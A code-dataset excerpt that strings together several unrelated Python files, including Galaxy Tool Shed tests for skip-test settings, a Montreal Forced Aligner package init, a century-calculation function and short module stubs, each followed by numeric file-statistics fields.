test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.upload_file( repository, filename='filtering/README', filepath=None, valid_tools_only=True, uncompress_file=False, remove_repo_files_not_in_tar=False, commit_message='Add a readme file.', strings_displayed=[], strings_not_displayed=[] ) self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for second revision.' ] ) def test_0065_verify_skip_setting_on_first_changeset( self ): '''Verify that the first changeset only displays its own skip reason.''' ''' This is step 10 - Check the first revision, make sure the skip reason matches. ''' global first_metadata_revision repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.display_manage_repository_page( repository, changeset_revision=first_metadata_revision, strings_displayed=[ 'Skip reason for first revision.' ], strings_not_displayed=[ 'Skip reason for second revision.' ] ) def test_0065_verify_skip_setting_on_second_changeset( self ): '''Verify that the second changeset only displays its own skip reason.''' ''' This is step 12 - Check the second revision, make sure the skip reason matches. ''' repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for second revision.' ], strings_not_displayed=[ 'Skip reason for first revision.' ] ) def test_0070_unset_skip_setting_on_first_revision( self ): '''Set the first revision not to skip tests, verify setting.''' ''' This is step 13 - Uncheck the checkbox for the first revision, and verify that the skip reason is no longer displayed. ''' global first_metadata_revision repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.set_skip_tool_tsts_flag( repository=repository, flag_value=False, reason='', changeset_revision=first_metadata_revision ) self.display_manage_repository_page( repository, changeset_revision=first_metadata_revision, strings_not_displayed=[ 'Skip reason for second revision.', 'Skip reason for first revision.' ] ) def test_0075_unset_skip_setting_on_second_revision( self ): '''Set the second revision not to skip tests, verify setting.''' ''' This is step 14 - Uncheck the checkbox for the second revision, and verify that the skip reason is no longer displayed. ''' repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name ) self.set_skip_tool_tsts_flag( repository=repository, flag_value=False, reason='' ) self.display_manage_repository_page( repository, strings_not_displayed=[ 'Skip reason for second revision.', 'Skip reason for first revision.' ] )
58.697581
142
0.653294
1,819
14,557
4.958219
0.106102
0.027498
0.035702
0.0316
0.790997
0.765495
0.755738
0.731345
0.712607
0.710722
0
0.016952
0.286804
14,557
248
143
58.697581
0.851763
0.054682
0
0.5
0
0
0.110975
0.005938
0
0
0
0
0.023077
1
0.107692
false
0
0.023077
0
0.138462
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
9c7081c24f4383116b489c924379969b5c8e9a1c
120
py
Python
Chapter 8/08/PaxHeader/recipe64_livedata.py
robert0714/Python-Testing-Cookbook-Second-Edition
c7c5d59e42e9ca2874faf12a6dd201736a45ca83
[ "MIT" ]
null
null
null
Chapter 8/08/PaxHeader/recipe64_livedata.py
robert0714/Python-Testing-Cookbook-Second-Edition
c7c5d59e42e9ca2874faf12a6dd201736a45ca83
[ "MIT" ]
null
null
null
Chapter 8/08/PaxHeader/recipe64_livedata.py
robert0714/Python-Testing-Cookbook-Second-Edition
c7c5d59e42e9ca2874faf12a6dd201736a45ca83
[ "MIT" ]
null
null
null
15 uid=2057284 20 ctime=1296420695 20 atime=1296425170 24 SCHILY.dev=234881026 23 SCHILY.ino=30628279 18 SCHILY.nlink=1
17.142857
23
0.825
21
120
4.714286
0.857143
0
0
0
0
0
0
0
0
0
0
0.527778
0.1
120
6
24
20
0.388889
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
5
9c819df3590383da944252348674964d51102986
892
py
Python
montreal_forced_aligner/__init__.py
potipot/Montreal-Forced-Aligner
6d665e9c63a4e3c795d27ec3bb8d9d1a5604bb91
[ "MIT" ]
null
null
null
montreal_forced_aligner/__init__.py
potipot/Montreal-Forced-Aligner
6d665e9c63a4e3c795d27ec3bb8d9d1a5604bb91
[ "MIT" ]
null
null
null
montreal_forced_aligner/__init__.py
potipot/Montreal-Forced-Aligner
6d665e9c63a4e3c795d27ec3bb8d9d1a5604bb91
[ "MIT" ]
null
null
null
__ver_major__ = 2 __ver_minor__ = 0 __ver_patch__ = '0a5' __version__ = "{}.{}.{}".format(__ver_major__, __ver_minor__, __ver_patch__) __all__ = ['aligner', 'command_line', 'models', 'corpus', 'config', 'dictionary', 'exceptions', 'helper', 'multiprocessing', 'textgrid', 'g2p', '__version__'] import montreal_forced_aligner.aligner as aligner import montreal_forced_aligner.command_line as command_line import montreal_forced_aligner.models as models import montreal_forced_aligner.corpus as corpus import montreal_forced_aligner.dictionary as dictionary import montreal_forced_aligner.exceptions as exceptions import montreal_forced_aligner.helper as helper import montreal_forced_aligner.config as config import montreal_forced_aligner.multiprocessing as multiprocessing import montreal_forced_aligner.textgrid as textgrid import montreal_forced_aligner.g2p as g2p
29.733333
95
0.813901
110
892
5.990909
0.236364
0.233687
0.333839
0.450683
0
0
0
0
0
0
0
0.008794
0.107623
892
29
96
30.758621
0.819095
0
0
0
0
0
0.124439
0
0
0
0
0
0
1
0
false
0
0.647059
0
0.647059
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
92c5c185ea5f38cab459230219e405cbafca7adb
63
py
Python
programming_puzzles/codewars/python/centuryfromyear.py
quantamancer/ProgrammingQuestionsRepo
1041fb03a063bb6ca505bf92c18e8e284dc18ed4
[ "Unlicense" ]
null
null
null
programming_puzzles/codewars/python/centuryfromyear.py
quantamancer/ProgrammingQuestionsRepo
1041fb03a063bb6ca505bf92c18e8e284dc18ed4
[ "Unlicense" ]
null
null
null
programming_puzzles/codewars/python/centuryfromyear.py
quantamancer/ProgrammingQuestionsRepo
1041fb03a063bb6ca505bf92c18e8e284dc18ed4
[ "Unlicense" ]
null
null
null
import math def century(year): return math.ceil(year/100)
12.6
30
0.714286
10
63
4.5
0.8
0
0
0
0
0
0
0
0
0
0
0.057692
0.174603
63
4
31
15.75
0.807692
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
0
0
0
5
92dc31c58631ef703f05e4c3094b3ef728f63cd1
121
py
Python
src/kwidgets/dataviz/__init__.py
man-vs-electron/kwidgets
86943d0255ee11c6ebf0bd481cfa0ebc7ac42154
[ "Apache-2.0" ]
null
null
null
src/kwidgets/dataviz/__init__.py
man-vs-electron/kwidgets
86943d0255ee11c6ebf0bd481cfa0ebc7ac42154
[ "Apache-2.0" ]
3
2021-11-27T18:02:01.000Z
2022-03-25T21:19:25.000Z
src/kwidgets/dataviz/__init__.py
man-vs-electron/kwidgets
86943d0255ee11c6ebf0bd481cfa0ebc7ac42154
[ "Apache-2.0" ]
null
null
null
""" Data Science visualization in Kivy This package contains various visualizations in Kivy related to data science. """
30.25
77
0.793388
16
121
6
0.75
0.229167
0
0
0
0
0
0
0
0
0
0
0.14876
121
4
78
30.25
0.932039
0.933884
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
92e3ec751c050635bdeb05d0452eaac5f8040f5f
32
py
Python
nbplot/__main__.py
nburrus/nbplot
017a3448b70ea22104086db4eeff7c6c307ea511
[ "MIT" ]
3
2021-04-01T21:14:54.000Z
2021-04-03T00:10:35.000Z
nbplot/__main__.py
nburrus/nbplot
017a3448b70ea22104086db4eeff7c6c307ea511
[ "MIT" ]
null
null
null
nbplot/__main__.py
nburrus/nbplot
017a3448b70ea22104086db4eeff7c6c307ea511
[ "MIT" ]
null
null
null
from .nbplot import main main()
10.666667
24
0.75
5
32
4.8
0.8
0
0
0
0
0
0
0
0
0
0
0
0.15625
32
2
25
16
0.888889
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5